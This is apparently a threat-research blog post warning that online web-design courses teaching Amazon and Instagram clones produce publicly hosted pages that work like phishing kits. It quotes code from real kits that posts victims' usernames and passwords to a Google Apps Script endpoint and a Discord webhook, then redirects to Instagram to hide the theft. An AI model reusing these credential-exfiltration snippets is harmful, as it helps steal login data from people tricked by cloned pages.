For Education Purposes Only? When Web Design Lessons Teach Phishing

Introduction 

There are many routes into software development, from university degrees to college courses, short bootcamps, and self-guided online training. For those with limited funds or the need to learn at their own pace, online courses can be an accessible entry point. 

Cloning a website is a common assignment. It helps students practise HTML, CSS and JavaScript. On its own, that exercise is harmless. But once a login form is added and the project is published online, it can become indistinguishable from the phishing kits we encounter every day. 

Key Data 

Netcraft has identified a growing number of publicly accessible archives and repositories impersonating Amazon, Instagram, and other well-known online entities. 

Many of these are small, implementing static web pages that appear to have been created by students following online web design courses. 

Some students have then made these static web pages capable of stealing submitted login data by sending it via Telegram, Discord, Google Firebase, App Script, EmailJS, and other mechanisms. 

Once uploaded to free hosting services, the files are publicly accessible. At that stage, they function just like normal phishing kits and can be readily reused by criminals to steal victims’ credentials. 

From Benign Beginnings

As part of online courses, students are often tasked with creating “clones” of the front end of a well-known company website. In many cases, the project’s README makes it clear that it is an academic exercise.

Figure 1. README of an Amazon Clone project

When rendered, the single HTML file produced can closely replicate the appearance of the original site. For example, one such project recreated the Amazon homepage.

Figure 2. The rendered Amazon Clone result.

The sign-in link is non-functional. However, if this HTML is hosted and made publicly accessible, as students often use static site hosting services such as GitHub Pages or Netlify, it can still pose a risk.

Figure 3. Section of README showing link to deployed Amazon Clone on Netlify.

The sign-in link is non-functional. However, if this HTML is hosted and made publicly accessible on services such as GitHub Pages or Netlify, it can still cause confusion for brand owners.

In the above example, the student created a static HTML page with no mechanism to log in. This is not always the case.

To Malicious Phishing Pages

Worryingly, some student projects go beyond static clones and include working login pages. This is often part of learning exercises that introduce interactivity, such as handling form input with JavaScript or building simple data driven applications. At that point, the project behaves much like a real website, and if published online, it becomes difficult to distinguish from a genuine phishing page – because essentially it now is one.

In this example, a mock Amazon React project includes a functional sign-in page that accepts credentials.

Figure 4. Signin() function of Amazon React Project.

The code defines a sign-in component using React and Ant Design (a popular UI toolkit). When the page loads, it calls a helper function called getAccount() to fetch account data from an API. If the username and password match one of the accounts, the app signs the user in: it saves their details, reloads any shopping cart linked to that account, updates the app so the cart shows up again, and then sends the user back to the homepage. If the details do not match, an error message pops up saying the username or password is not correct.

Figure 5.  API service functions for fetching, creating, and editing accounts.

The getAccount function shows how this works: it requests data from an “account” endpoint and returns it as JSON. Equivalent functions also allow new accounts to be created or existing ones edited, demonstrating simple account management.

Figure 6. API Domain definition.

Here, the get() function reveals that the API domain is http://localhost:3002. Although the API itself was not included in the project, the intent is clear: the login form is designed to validate credentials against an external account list served from that endpoint.

While clearly intended as a teaching exercise, this kind of project behaves much like a phishing page: it collects usernames and passwords through a form and processes them in the background. Once such a clone is published online, only a small change, such as pointing the API to an attacker-controlled server, is needed to start harvesting real credentials. 

This issue is not limited to Amazon. We have also observed the same trend with Instagram projects.

Figure 7a. Rendered Instagram clone.

Figure 7b. README of Instagram ‘Front End Challenge’ clone.

Let’s examine a real Instagram phishing kit, which recycles code seen in Instagram clone projects.

Figure 8. Rendered Instagram phishing page.

The rendered HTML presents an Instagram page near indistinguishable from the official Instagram login page.

Figure 9. Code exfiltrating credentials via Google Apps Script.

The above kit uses Google Apps Script, a cloud-based JavaScript platform hosted on Google Drive that allows automation across Google products. The constant

const scriptURL = 'https://script.google.com/macros/s/AKfycbynR4HxKsmeMZE97ialWgBFxhtLkaTk5kGa56BAy7cJ2L3peoMmZV-QFkyFeIUPKVyL/exec';

defines the external server where credentials will be sent. When the form is submitted, the call

fetch(scriptURL, { method: 'POST', body: new FormData(form) })

posts all entered details to that endpoint. Once received, the data could be stored in a Google Sheet, emailed using the Gmail API, or otherwise processed by the attacker. To the user, a YouTube video opens on their screen, acting as a decoy after the credentials have already been transmitted.

In this next Instagram example:

Figure 10. Rendered Instagram Phishing page.

The resulting rendered phishing site is very convincing.

Figure 11. Code exfiltrating credentials via Discord.

Here the attacker defines a sendMessage() function that triggers when the victim submits the login form. The key line

request.open("POST", "https://discord.com/api/webhooks/…")

creates a POST request to a Discord webhook URL. Discord is a popular chat and community platform, and its webhook feature allows messages to be posted automatically into a channel. Attackers abuse this to receive stolen credentials in real time.

The payload is defined in

var params = {

  content: ("> **USERNAME  : **" + document.getElementById('username').value + "\n> **PASSWORD : **" + document.getElementById('password').value)

}

which captures whatever the victim typed into the username and password fields. This JSON object is sent straight to the webhook, effectively dropping the stolen details into a Discord chat.

Finally,

window.location.replace("https://www.instagram.com/p/By7NkskoTip");

redirects the victim back to Instagram, making the theft less obvious.

Who’s Teaching Them?

A number of popular online tutorials guide students through creating front-end clones of well-known websites, including Amazon.

YouTube Channels

• The GreatStacks YouTube channel has 1.18 million subscribers and over 247,000 views across its two-part Amazon Front End Creation series: https://www.youtube.com/watch?v=yjZmtEGq_ss

• Apna College YouTube channel has 6.97 million subscribers and 3 million views on its Amazon Clone tutorial: https://www.youtube.com/watch?v=nGhKIC_7Mkk

• Noor Mohammed YouTube channel has 12,100 subscribers and 2,000 views on a tutorial that includes a functional login page backed by Firebase: https://www.youtube.com/watch?v=LYjJolkRkIk

Webpages / Blog Posts

• CodeWithCurious offers a step-by-step guide to creating an Amazon front-end clone: https://codewithcurious.com/projects/amazon-clone-using-html-and-css/

• Coding Nepal provides a similar tutorial: https://www.codingnepalweb.com/create-amazon-website-clone-html-css/

In all these cases, the associated code repositories are publicly accessible, either hosted on GitHub or provided as copy-and-paste text within the tutorial itself.

Online Courses

“Digital Innovation One” (https://www.dio.me/en)  has used the Amazon front end page as a project for its students.

Figure 12. README with direct mention of Digital Innovation One.

It also sets projects to clone other organizations webpages:

Figure 12. Cloning HBO MAX Website Lab Project – part of the CSS Web Developer course on Digital Innovation One https://web.dio.me/track/formacao-css-web-developer.

Figure 13. Cloning the Playstation Store Interface Lab Project – part of the Angular Developer course on Digital Innovation one https://web.dio.me/track/formacao-angular-developer.

Udemy hosts a free online course – created by a third party – that guides learners through cloning the front ends of Amazon, Netflix, and Spotify: https://www.udemy.com/course/learn-html-css-clone-amazon-netflix-spotify/?srsltid=AfmBOopAFVG_miamoQmkolFAwdeAtzddu24ziyCCVHtjdpF0uGulJ5gF

The examples above were identified during the course of this research and are presented to illustrate the prevalence of such tutorials and projects. They are not intended to imply any wrongdoing or malicious intent by the creators or platforms involved.

The Questions

The global online education market was valued at around USD 50 billion in 2023 and is projected to reach USD 325 billion by 2032, representing a compound annual growth rate (CAGR) of 23.12% over that period [1].In 2022–2023, 53% of US college students took online classes, up from 36% before the pandemic [2]. With so many learners turning to online courses, the impact of what is taught, and what is not taught, is magnified.

Do students really think those are the best projects they could make to attract an employer/show off their skills?

ThatSoftwareDude notes that while cloning practices can help sharpen front-end skills, they offer limited return on investment. Employers often value skills such as scripted logic, system architecture, API integration, and reusable code patterns over superficial UI replication [3]. These projects do demonstrate some understanding of HTML, CSS, and JavaScript, but they often stop short of showing the more advanced competencies that employers prize.

Do the students not understand the paradigm of a phishing attack? Do these classes risk students getting caught up with illegal crimes?

None of the learning resources outlined in this post mention the potential legal or ethical dangers of hosting these projects online. The implicit assumption seems to be that if a clone site is purely static, it cannot be misconstrued as malicious. In reality, a convincing replica of a real service’s login page can still be flagged by anti-phishing systems or interpreted by law enforcement as a phishing tool, regardless of whether credentials are collected. Hosting such a site without safeguards or disclaimers risks exposing students to accusations of malicious intent under computer misuse laws.

How easily can cloned projects be modified for criminal use?

Netcraft has found multiple public repositories and archived projects that impersonate major brands, and some of those are already fully functional phishing pages that transmit or save credentials. For many of the remaining publicly available clones, the risk is straightforward: a convincing front end reduces the work an attacker must do, who would typically only need to add a small backend or change an API URL to capture and forward submitted credentials. Because students commonly publish projects to free or public hosting services, these codebases are easy to find and reuse, which increases the likelihood they will be repurposed. 

Conclusion

The examples above show that front-end cloning tutorials are widely available across popular learning platforms. While these projects can help learners practise HTML, CSS and JavaScript, they also present risks when the finished sites closely mimic real, operational services. Without clear guidance on ethical considerations, safe hosting practices and the possibility of code misuse, students could unintentionally create work that draws legal scrutiny. Greater awareness and responsible teaching can help ensure that these exercises remain constructive learning opportunities rather than potential liabilities.

References